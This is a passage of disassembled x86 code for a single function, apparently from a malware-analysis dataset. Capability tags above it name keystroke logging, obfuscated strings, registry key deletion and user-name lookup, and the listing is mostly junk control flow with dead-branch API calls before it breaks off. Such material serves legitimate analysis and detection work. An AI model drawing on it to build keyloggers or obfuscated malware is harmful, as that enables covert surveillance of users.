Function at 0x1001989d
Capabilities:
Clear file content
Contain obfuscated stackstrings
Delete registry key
Get file attributes
Get session user name
Identify system language via api
Log keystrokes via polling
Parse pe header
Query or enumerate registry value
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10064917
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0xfd8
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push 2
lea ecx, [ebp - 0xb00]
call fcn.1000c02f
and dword [ebp - 4], 0
mov dword [ebp - 0x74], 0
jmp 0x100198e3
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 3
jge 0x100198f9
mov eax, dword [ebp - 0x74]
mov dword [ebp + eax*4 - 0xfb8], 2
jmp 0x100198dc
mov dword [ebp - 0x74], 0
jmp 0x10019909
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 2
jge 0x10019922
push dword [ebp - 0x74]
lea ecx, [ebp - 0xb00]
call fcn.1000c0cd
or dword [eax], 0xffffffff
jmp 0x10019902
mov byte [ebp - 0x104], 0
movzx eax, byte [ebp - 0x104]
test eax, eax
je 0x1001993f
push 0x18bb
call dword [sym.imp.USER32.dll_GetKeyState]
push 1
lea ecx, [ebp - 0xb00]
call fcn.1000c0cd
and dword [eax], 0
jmp 0x10019975
push 1
lea ecx, [ebp - 0xb00]
call fcn.1000c0cd
mov dword [ebp - 0x894], eax
mov eax, dword [ebp - 0x894]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x894]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0xb00]
call fcn.1000c0cd
cmp dword [eax], 2
jg 0x100199d1
mov dword [ebp - 0x334], 0x197f0a2
mov dword [ebp - 0x334], 2
jmp 0x100199aa
mov eax, dword [ebp - 0x334]
dec eax
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 0
jl 0x100199cf
mov byte [ebp - 0xc0], 0
movzx eax, byte [ebp - 0xc0]
test eax, eax
je 0x100199cd
push 0
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
jmp 0x1001999d
jmp 0x10019951
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb00]
call fcn.1000c0b1
cmp dword [ebp + 0x10], 0
jbe 0x10019da9
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x10019da9
mov dword [ebp - 0x114], 0xffffffff
mov dword [ebp - 0x290], 0xffffffff
mov dword [ebp - 0xbd0], 0xfffffff8
mov dword [ebp - 0xbcc], 0xfffffff8
mov dword [ebp - 0xbc8], 0xfffffff8
mov dword [ebp - 0xbc4], 0xfffffff8
lea ecx, [ebp - 0x385]
call fcn.1000c0dc
push eax
lea eax, [ebp - 0xbc0]
push eax
lea eax, [ebp - 0xbd0]
push eax
lea ecx, [ebp - 0xefc]
call fcn.1000c0df
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xca0]
call fcn.1000c08b
mov dword [ebp - 4], 1
mov dword [ebp - 0x968], 0xce2e
mov dword [ebp - 0x348], 0
jmp 0x10019a91
mov eax, dword [ebp - 0x348]
inc eax
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 1
jge 0x10019aad
mov eax, dword [ebp - 0x348]
mov dword [ebp + eax*4 - 0x8d0], 9
jmp 0x10019a84
mov eax, dword [ebp - 0x114]
add eax, dword [ebp - 0x114]
mov dword [ebp - 0x290], eax
mov dword [ebp - 0x114], 0
jmp 0x10019ad8
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 3
jg 0x10019d86
mov dword [ebp - 0xd50], 0x2703d9b9
mov dword [ebp - 0xe38], 0
mov dword [ebp - 0x198], 9
and dword [ebp - 0xbf8], 0
and dword [ebp - 0xbf4], 0
and dword [ebp - 0xbf0], 0
and dword [ebp - 0xbec], 0
lea ecx, [ebp - 0x38d]
call fcn.1000c0dc
push eax
lea eax, [ebp - 0xbe8]
push eax
lea eax, [ebp - 0xbf8]
push eax
lea ecx, [ebp - 0xf54]
call fcn.1000c0df
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xba8]
call fcn.1000c08b
mov byte [ebp - 4], 2
mov dword [ebp - 0x898], 0xfffffff7
mov dword [ebp - 0x8a0], 1
mov eax, dword [ebp - 0x898]
inc eax
mov dword [ebp - 0x898], eax
mov eax, dword [ebp - 0x8a0]
dec eax
mov dword [ebp - 0x8a0], eax
mov dword [ebp - 0x198], 3
jmp 0x10019b9f
mov eax, dword [ebp - 0x198]
dec eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0
jl 0x10019d72
mov dword [ebp - 0x35c], 0xfffffff9
push 1
lea ecx, [ebp - 0xb78]
call fcn.1000c02f
mov byte [ebp - 4], 3
mov dword [ebp - 0x204], 0
jmp 0x10019be0
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 1
jge 0x10019c02
push dword [ebp - 0x204]
lea ecx, [ebp - 0xb78]
call fcn.1000c0cd
mov dword [eax], 0x87e9
jmp 0x10019bd3
mov eax, dword [ebp - 0x35c]
mov ecx, dword [ebp - 0x35c]
inc ecx
mov dword [ebp - 0x35c], ecx
test eax, eax
jne 0x10019ce3
push dword [ebp - 0x198]
lea ecx, [ebp - 0xca0]
call fcn.1000c0cd
mov eax, dword [eax]
mov dword [ebp - 0x290], eax
push 1
lea ecx, [ebp - 0xba8]
call fcn.1000c0cd
push 1
lea ecx, [ebp - 0xba8]
call fcn.1000c0cd
cmp dword [eax], 5
je 0x10019c73
push 0
lea ecx, [ebp - 0xca0]
call fcn.1000c0cd
cmp dword [eax], 0
je 0x10019c73
mov dword [ebp - 0x8a8], 1
jmp 0x10019c7a
and dword [ebp - 0x8a8], 0
mov esi, dword [ebp - 0x290]
imul esi, dword [ebp - 0x8a8]
add esi, 0x52b9cbad
push 0
lea ecx, [ebp - 0xb78]
call fcn.1000c0cd
cmp dword [eax], esi
jne 0x10019caa
mov dword [ebp - 0x8b0], 1
jmp 0x10019cb1
and dword [ebp - 0x8b0], 0
mov esi, dword [ebp - 0x968]
push 0
lea ecx, [ebp - 0xb78]
call fcn.1000c0cd
mov ecx, dword [ebp - 0x8b0]
imul ecx, dword [eax]
cmp ecx, esi
jge 0x10019cda
cmp dword [ebp - 0x290], 0
jne 0x10019ce3
and dword [ebp - 0x8b8], 0
jmp 0x10019ced
mov dword [ebp - 0x8b8], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8d0]
imul eax, dword [ebp - 0x8b8]
test eax, eax
je 0x10019d23
push 0
lea ecx, [ebp - 0xba8]
call fcn.1000c0cd
cmp dword [eax], 0
je 0x10019d23
mov dword [ebp - 0x8c0], 1
jmp 0x10019d2a
and dword [ebp - 0x8c0], 0
cmp dword [ebp - 0x8c0], 0x52a2
jge 0x10019d42
mov dword [ebp - 0x8c8], 1
jmp 0x10019d49
and dword [ebp - 0x8c8], 0
mov eax, dword [ebp - 0x8c8]
neg eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x8d0], eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xb78]
call fcn.1000c0b1
jmp 0x10019b92
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xba8]
call fcn.1000c0b1
jmp 0x10019acb
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xca0]
call fcn.1000c0b1
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.10014989
pop ecx
pop ecx
jmp 0x10020cfa
mov dword [ebp - 0x1a8], 0xfffffff8
mov dword [ebp - 0x444], 5
mov dword [ebp - 0x9e8], 0x2410
cmp dword [ebp - 0x9e8], 0x763
jge 0x10019e83
lea eax, [ebp - 0x398]
push eax
lea eax, [ebp - 0x8d8]
push eax
push 0x10007b30
call fcn.1004bba6
add esp, 0xc
mov eax, dword [ebp - 0x8d8]
cdq
idiv dword [ebp - 0x398]
mov dword [ebp - 0x9f8], eax
mov eax, dword [ebp - 0x8d8]
cdq
idiv dword [ebp - 0x398]
mov dword [ebp - 0x9f0], edx
and dword [ebp - 0x2a4], 0
jmp 0x10019e2e
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
mov eax, dword [ebp - 0x2a4]
cmp eax, dword [ebp - 0x398]
jge 0x10019e78
mov eax, dword [ebp - 0x2a4]
cmp eax, dword [ebp - 0x9f0]
jge 0x10019e56
mov dword [ebp - 0x8e0], 1
jmp 0x10019e5d
and dword [ebp - 0x8e0], 0
mov eax, dword [ebp - 0x9f8]
add eax, dword [ebp - 0x8e0]
push eax
push 0x10007b38
call fcn.1004bc81
pop ecx
pop ecx
jmp 0x10019e21
push 0x10007709
call fcn.1004c01b
pop ecx
push 2
lea ecx, [ebp - 0xb84]
call fcn.1000c02f
mov dword [ebp - 4], 4
mov dword [ebp - 0x210], 0
jmp 0x10019eb0
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 2
jge 0x10019ed2
push dword [ebp - 0x210]
lea ecx, [ebp - 0xb84]
call fcn.1000c0cd
mov dword [eax], 0x1dbdae4
jmp 0x10019ea3
mov dword [ebp - 0x1a8], 0
jmp 0x10019eeb
mov eax, dword [ebp - 0x1a8]
dec eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0xfffffffc
jne 0x1001a141
push 2
lea ecx, [ebp - 0x908]
call fcn.1000c02f
mov byte [ebp - 4], 5
mov dword [ebp - 0xa88], 0xf29c8dda
mov dword [ebp - 0x2ac], 0
jmp 0x10019f2c
mov eax, dword [ebp - 0x2ac]
inc eax
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 2
jge 0x10019f4e
push dword [ebp - 0x2ac]
lea ecx, [ebp - 0x908]
call fcn.1000c0cd
mov dword [eax], 0xb96ca2cb
jmp 0x10019f1f
push 0
lea ecx, [ebp - 0x908]
call fcn.1000c0cd
and dword [eax], 0
jmp 0x10019f84
push 0
lea ecx, [ebp - 0x908]
call fcn.1000c0cd
mov dword [ebp - 0x8e8], eax
mov eax, dword [ebp - 0x8e8]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x8e8]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x908]
call fcn.1000c0cd
cmp dword [eax], 0xfffffff9
je 0x1001a12d
mov dword [ebp - 0xbe4], 1
mov dword [ebp - 0xbe0], 1
mov dword [ebp - 0xbdc], 1
mov dword [ebp - 0xbd8], 1
lea ecx, [ebp - 0x3ad]
call fcn.1000c0dc
push eax
lea eax, [ebp - 0xbd4]
push eax
lea eax, [ebp - 0xbe4]
push eax
lea ecx, [ebp - 0xf5c]
call fcn.1000c0df
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xdd0]
call fcn.1000c08b
mov byte [ebp - 4], 6
mov dword [ebp - 0xa80], 0x30a4
push 0
lea ecx, [ebp - 0x908]
call fcn.1000c0cd
cmp dword [eax], 0
jne 0x1001a025
xor eax, eax
inc eax
jne 0x1001a025
and dword [ebp - 0x4a4], 0
jmp 0x1001a02f
mov dword [ebp - 0x4a4], 1
push 3
lea ecx, [ebp - 0xdd0]
call fcn.1000c0cd
mov esi, dword [ebp - 0xa80]
push 0
lea ecx, [ebp - 0x908]
call fcn.1000c0cd
imul esi, dword [eax]
cmp esi, 0xffffffff
jne 0x1001a063
mov dword [ebp - 0x8f0], 1
jmp 0x1001a06a
and dword [ebp - 0x8f0], 0
cmp dword [ebp - 0x8f0], 8
jl 0x1001a07f
mov dword [ebp - 0x8f8], 1
jmp 0x1001a086
and dword [ebp - 0x8f8], 0
push 1
lea ecx, [ebp - 0x908]
call fcn.1000c0cd
mov ecx, dword [ebp - 0x8f8]
cmp ecx, dword [eax]
je 0x1001a0a9
mov dword [ebp - 0x924], 1
jmp 0x1001a0b0
and dword [ebp - 0x924], 0
mov eax, dword [ebp - 0x924]
neg eax
cmp dword [ebp - 0x4a4], eax
jle 0x1001a0cc
mov dword [ebp - 0x43c], 1
jmp 0x1001a0d3
and dword [ebp - 0x43c], 0
mov eax, dword [ebp - 0xa88]
cmp dword [ebp - 0x43c], eax
jge 0x1001a0ed
mov dword [ebp - 0x828], 1
jmp 0x1001a0f4
and dword [ebp - 0x828], 0
imul eax, dword [ebp - 0x828], 0xdcad
mov dword [ebp - 0x444], eax
mov esi, dword [ebp - 0x444]
push 0
lea ecx, [ebp - 0xb84]
call fcn.1000c0cd
mov dword [eax], esi
mov byte [ebp - 4], 5
lea ecx, [ebp - 0xdd0]
call fcn.1000c0b1
jmp 0x10019f60
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x908]
call fcn.1000c0b1
jmp 0x10019ede
push 0
lea ecx, [ebp - 0xb84]
call fcn.1000c0cd
mov eax, dword [eax]
mov dword [ebp - 0x1a8], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb84]
call fcn.1000c0b1
push 3
lea ecx, [ebp - 0x93c]
call fcn.1000c02f
mov dword [ebp - 4], 7
mov dword [ebp - 0x108], 0x8a59c176
push 2
lea ecx, [ebp - 0xb9c]
call fcn.1000c02f
mov byte [ebp - 4], 8
mov dword [ebp - 0x9c], 0
jmp 0x1001a1ad
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 3
jge 0x1001a1cf
push dword [ebp - 0x9c]
lea ecx, [ebp - 0x93c]
call fcn.1000c0cd
mov dword [eax], 4
jmp 0x1001a1a0
mov dword [ebp - 0x9c], 0
jmp 0x1001a1e8
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 2
jge 0x1001a20a
push dword [ebp - 0x9c]
lea ecx, [ebp - 0xb9c]
call fcn.1000c0cd
mov dword [eax], 0xd9e62b56
jmp 0x1001a1db
push 0
lea ecx, [ebp - 0x93c]
call fcn.1000c0cd
mov eax, dword [eax]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x108], 0
jmp 0x1001a238
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0xd
jne 0x1001a484
mov dword [ebp - 0x34], 0
mov dword [ebp - 0xb6c], 0x2d2c
mov dword [ebp - 0xb68], 0x2d2c
mov dword [ebp - 0xb64], 0x2d2c
mov dword [ebp - 0xb60], 0x2d2c
mov dword [ebp - 0x840], 0
mov dword [ebp - 0x34], 0
jmp 0x1001a28e
mov eax, dword [ebp - 0x34]
dec eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xffffffe5
jge 0x1001a2bf
mov byte [ebp - 0xc2], 0
movzx eax, byte [ebp - 0xc2]
test eax, eax
je 0x1001a2b5
push 0
push 0
push 0x1c41
call dword [sym.imp.USER32.dll_SetPropA]
cmp dword [ebp - 0x34], 0
je 0x1001a2bd
jmp 0x1001a287
jmp 0x1001a287
mov dword [ebp - 0x34], 2
jmp 0x1001a2cf
mov eax, dword [ebp - 0x34]
dec eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jl 0x1001a47f
mov dword [ebp - 0x7c], 1
mov dword [ebp - 0x7c], 0
jmp 0x1001a2f0
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 2
jg 0x1001a47a
mov dword [ebp - 0xcd4], 0xffffffff
mov dword [ebp - 0xcd0], 0xffffffff
mov dword [ebp - 0xccc], 0xffffffff
mov dword [ebp - 0xcc8], 0xffffffff
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xb6c], 0
push dword [ebp - 0x34]
lea ecx, [ebp - 0x93c]
call fcn.1000c0cd
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb6c]
mov dword [ebp - 0xd44], eax
mov eax, dword [ebp - 0x7c]
cmp eax, dword [ebp - 0x7c]
jg 0x1001a368
mov dword [ebp - 0xa90], 1
jmp 0x1001a36f
and dword [ebp - 0xa90], 0
push 4
pop eax
shl eax, 0
mov esi, dword [ebp + eax - 0xb6c]
mov edi, dword [ebp - 0x7c]
push dword [ebp - 0x34]
lea ecx, [ebp - 0x93c]
call fcn.1000c0cd
imul edi, dword [eax]
add edi, esi
push 1
lea ecx, [ebp - 0xb9c]
call fcn.1000c0cd
cmp edi, dword [eax]
jle 0x1001a3af
mov dword [ebp - 0x830], 1
jmp 0x1001a3b6
and dword [ebp - 0x830], 0
push dword [ebp - 0x34]
lea ecx, [ebp - 0x93c]
call fcn.1000c0cd
mov ecx, dword [ebp - 0x830]
cmp ecx, dword [eax]
jg 0x1001a3da
mov dword [ebp - 0x44c], 1
jmp 0x1001a3e1
and dword [ebp - 0x44c], 0
mov eax, dword [ebp - 0x108]
cmp eax, dword [ebp - 0x44c]
je 0x1001a3fb
mov dword [ebp - 0x838], 1
jmp 0x1001a402
and dword [ebp - 0x838], 0
mov eax, dword [ebp - 0x7c]
cmp eax, dword [ebp - 0x838]
jg 0x1001a422
cmp dword [ebp - 0x840], 0
je 0x1001a422
mov dword [ebp - 0x454], 1
jmp 0x1001a429
and dword [ebp - 0x454], 0
mov eax, dword [ebp - 0x7c]
add eax, dword [ebp - 0x454]
cmp eax, dword [ebp - 0x840]
jl 0x1001a446
mov dword [ebp - 0x3a0], 1
jmp 0x1001a44d
and dword [ebp - 0x3a0], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x3a0]
mov dword [ebp + eax - 0xcd4], ecx
push 1
lea ecx, [ebp - 0xb9c]
call fcn.1000c0cd
mov ecx, dword [ebp - 0x3a0]
mov dword [eax], ecx
jmp 0x1001a2e9
jmp 0x1001a2c8
jmp 0x1001a22b
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xb9c]
call fcn.1000c0b1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x93c]
call fcn.1000c0b1
cmp dword [ebp + 0x10], 0
jne 0x1001e5a5
mov dword [ebp - 0xd8], 1
mov dword [ebp - 0xa98], 1
mov dword [ebp - 0xd8], 0x10
jmp 0x1001a4d9
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0x11
je 0x1001a5b2
push 1
lea ecx, [ebp - 0xde0]
call fcn.1000c02f
mov dword [ebp - 4], 9
mov dword [ebp - 0x2b4], 0x54fddd3f
mov dword [ebp - 0x218], 0
jmp 0x1001a51d
mov eax, dword [ebp - 0x218]
inc eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 1
jge 0x1001a53f
push dword [ebp - 0x218]
lea ecx, [ebp - 0xde0]
call fcn.1000c0cd
mov dword [eax], 0xdf603fa7
jmp 0x1001a510
mov dword [ebp - 0x2b4], 0
jmp 0x1001a558
mov eax, dword [ebp - 0x2b4]
inc eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 0
jg 0x1001a584
mov dword [ebp - 0xd74], 0x449c9fb3
mov dword [ebp - 0x45c], 0x2c25
mov eax, dword [ebp - 0x45c]
dec eax
mov dword [ebp - 0x45c], eax
jmp 0x1001a54b
mov byte [ebp - 0xc4], 0
movzx eax, byte [ebp - 0xc4]
test eax, eax
je 0x1001a59e
push 0
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xde0]
call fcn.1000c0b1
jmp 0x1001a4cc
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0xa98], eax
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.1000e619
mov dword [ebp - 0x27c], eax
push 4
lea ecx, [ebp - 0xc10]
call fcn.1000c02f
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x194], 0xffffffff
mov dword [ebp - 0xaa0], 0x34b0b4ef
mov dword [ebp - 0x220], 0
jmp 0x1001a61c
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 4
jge 0x1001a63b
push dword [ebp - 0x220]
lea ecx, [ebp - 0xc10]
call fcn.1000c0cd
or dword [eax], 0xffffffff
jmp 0x1001a60f
mov dword [ebp - 0x194], 3
jmp 0x1001a654
mov eax, dword [ebp - 0x194]
dec eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0
jl 0x1001a714
mov dword [ebp - 0x2bc], 1
mov byte [ebp - 0xc6], 0
movzx eax, byte [ebp - 0xc6]
test eax, eax
je 0x1001a687
push 0
push 0
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [ebp - 0x2bc], 3
jmp 0x1001a6a0
mov eax, dword [ebp - 0x2bc]
dec eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 0
jl 0x1001a70f
xor eax, eax
jne 0x1001a6d5
push dword [ebp - 0x194]
lea ecx, [ebp - 0xc10]
call fcn.1000c0cd
cmp dword [eax], 1
jle 0x1001a6cc
mov eax, 0x884c
test eax, eax
jne 0x1001a6d5
and dword [ebp - 0x848], 0
jmp 0x1001a6df
mov dword [ebp - 0x848], 1
mov eax, dword [ebp - 0x848]
mov dword [ebp - 0xaa0], eax
mov byte [ebp - 0xc8], 0
movzx eax, byte [ebp - 0xc8]
test eax, eax
je 0x1001a70d
push 0x18a6
push 0xf06
call dword [sym.imp.USER32.dll_SetCaretPos]
jmp 0x1001a693
jmp 0x1001a647
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc10]
call fcn.1000c0b1
mov dword [ebp - 0x18], 0xdd1e1e87
mov dword [ebp - 0x474], 0x8b108f82
mov dword [ebp - 0x484], 1
mov dword [ebp - 0x228], 0
jmp 0x1001a757
mov eax, dword [ebp - 0x228]
inc eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 1
jge 0x1001a770
mov eax, dword [ebp - 0x228]
mov dword [ebp + eax*4 - 0x4c], 0xfffffffc
jmp 0x1001a74a
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x474], eax
mov dword [ebp - 0x18], 0
jmp 0x1001a789
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jg 0x1001a95f
mov dword [ebp - 0x3a8], 3
mov byte [ebp - 0x102], 0
movzx eax, byte [ebp - 0x102]
test eax, eax
je 0x1001a7be
push 1
push 0
push 0x2464
call dword [sym.imp.USER32.dll_InvalidateRect]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp + ecx*4 - 0x4c]
cmp ecx, dword [ebp + eax*4 - 0x4c]
jne 0x1001a7da
mov dword [ebp - 0x870], 1
jmp 0x1001a7e1
and dword [ebp - 0x870], 0
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp + ecx*4 - 0x4c]
sub ecx, 0xfffc
cmp ecx, dword [ebp + eax*4 - 0x4c]
jle 0x1001a803
mov dword [ebp - 0x464], 1
jmp 0x1001a80a
and dword [ebp - 0x464], 0
mov eax, dword [ebp - 0x484]
imul eax, dword [ebp - 0x464]
mov dword [ebp - 0x3a8], eax
cmp dword [ebp - 0x3a8], 0
jne 0x1001a832
mov dword [ebp - 0x850], 1
jmp 0x1001a839
and dword [ebp - 0x850], 0
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x850]
jl 0x1001a850
mov dword [ebp - 0x46c], 1
jmp 0x1001a857
and dword [ebp - 0x46c], 0
cmp dword [ebp - 0x46c], 0xe24b
jl 0x1001a86f
mov dword [ebp - 0x858], 1
jmp 0x1001a876
and dword [ebp - 0x858], 0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x4c]
sub eax, dword [ebp - 0x858]
jne 0x1001a897
cmp dword [ebp - 0x474], 0
jne 0x1001a897
and dword [ebp - 0x860], 0
jmp 0x1001a8a1
mov dword [ebp - 0x860], 1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x860]
dec ecx
dec ecx
cmp ecx, dword [ebp + eax*4 - 0x4c]
jge 0x1001a8be
mov dword [ebp - 0x47c], 1
jmp 0x1001a8c5
and dword [ebp - 0x47c], 0
cmp dword [ebp - 0x47c], 6
jb 0x1001a8da
mov dword [ebp - 0x868], 1
jmp 0x1001a8e1
and dword [ebp - 0x868], 0
mov eax, dword [ebp - 0x868]
sub eax, 0x51f5
jne 0x1001a8f5
cmp dword [ebp - 0x484], 0
cmp dword [ebp - 0x3a8], 0xb2c4eb0a
jb 0x1001a914
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x4c], 0
jne 0x1001a914
and dword [ebp - 0x48c], 0
jmp 0x1001a91e
mov dword [ebp - 0x48c], 1
mov eax, dword [ebp - 0x870]
cmp eax, dword [ebp - 0x48c]
jle 0x1001a938
mov dword [ebp - 0xaa8], 1
jmp 0x1001a93f
and dword [ebp - 0xaa8], 0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x4c]
mov dword [ebp - 0xd4c], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x4c]
mov ecx, dword [ebp - 0x18]
mov dword [ebp + ecx*4 - 0x4c], eax
jmp 0x1001a782
mov dword [ebp - 0xe0], 0x57e8b72f
mov dword [ebp - 0x164], 0
mov dword [ebp - 0x878], 0x3ecf04b0
mov dword [ebp - 0x30], 5
mov dword [ebp - 0x94], 0xe2cf4565
mov dword [ebp - 0x230], 0xffffffff
mov dword [ebp - 0xab0], 0xcd1b7e2
push 2
lea ecx, [ebp - 0x358]
call fcn.1000c02f
mov dword [ebp - 4], 0xb
mov dword [ebp - 0xac0], 0xffff
mov dword [ebp - 0x2c4], 0
jmp 0x1001a9d9
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 2
jge 0x1001a9fb
push dword [ebp - 0x2c4]
lea ecx, [ebp - 0x358]
call fcn.1000c0cd
mov dword [eax], 0x3744
jmp 0x1001a9cc
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0xd7c], eax
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0xd54], eax
mov dword [ebp - 0x878], 0x12aa
mov eax, dword [ebp - 0x878]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0xe0]
jl 0x1001aa3d
mov dword [ebp - 0x494], 1
jmp 0x1001aa44
and dword [ebp - 0x494], 0
mov eax, dword [ebp - 0x164]
cmp dword [ebp - 0x494], eax
jle 0x1001aa5e
mov dword [ebp - 0x880], 1
jmp 0x1001aa65
and dword [ebp - 0x880], 0
mov eax, dword [ebp - 0xe0]
imul eax, dword [ebp - 0x880]
xor ecx, ecx
sub ecx, eax
add ecx, 0xe045
cmp ecx, dword [ebp - 0x164]
je 0x1001aa90
mov dword [ebp - 0x49c], 1
jmp 0x1001aa97
and dword [ebp - 0x49c], 0
mov eax, dword [ebp - 0x164]
cmp dword [ebp - 0x49c], eax
jge 0x1001aab1
mov dword [ebp - 0x888], 1
jmp 0x1001aab8
and dword [ebp - 0x888], 0
mov eax, dword [ebp - 0x888]
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x230], eax
mov eax, dword [ebp - 0x230]
cmp eax, dword [ebp - 0xe0]
jle 0x1001aaea
mov dword [ebp - 0x890], 1
jmp 0x1001aaf1
and dword [ebp - 0x890], 0
imul eax, dword [ebp - 0x890], 0xfffffff7
cmp eax, dword [ebp - 0x164]
jle 0x1001ab10
push 4
pop eax
test eax, eax
jne 0x1001ab10
and dword [ebp - 0x6ec], 0
jmp 0x1001ab1a
mov dword [ebp - 0x6ec], 1
mov eax, dword [ebp - 0xe0]
cmp dword [ebp - 0x6ec], eax
jl 0x1001ab39
xor eax, eax
inc eax
je 0x1001ab39
mov dword [ebp - 0x4ac], 1
jmp 0x1001ab40
and dword [ebp - 0x4ac], 0
mov eax, dword [ebp - 0xe0]
add eax, dword [ebp - 0x4ac]
mov dword [ebp - 0xab0], eax
mov dword [ebp - 0x30], 0
jmp 0x1001ab62
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 1
jg 0x1001ae2b
mov dword [ebp - 0x15c], 0xfffffffa
mov dword [ebp - 0xac8], 0xc5ab
mov dword [ebp - 0xad0], 0x3d85aa7f
mov byte [ebp - 0xca], 0
movzx eax, byte [ebp - 0xca]
test eax, eax
je 0x1001aba6
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [ebp - 0x94], 0
jmp 0x1001abbf
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 1
jg 0x1001ae26
mov dword [ebp - 0xad8], 0x7bc07e7f
push dword [ebp - 0x30]
lea ecx, [ebp - 0x358]
call fcn.1000c0cd
mov esi, eax
push dword [ebp - 0x94]
lea ecx, [ebp - 0x358]
call fcn.1000c0cd
mov eax, dword [eax]
cmp eax, dword [esi]
jge 0x1001ac09
mov dword [ebp - 0x4cc], 1
jmp 0x1001ac10
and dword [ebp - 0x4cc], 0
mov eax, 0x11e9a9d0
test eax, eax
je 0x1001adcb
push dword [ebp - 0x94]
lea ecx, [ebp - 0x358]
call fcn.1000c0cd
push 1
lea ecx, [ebp - 0x358]
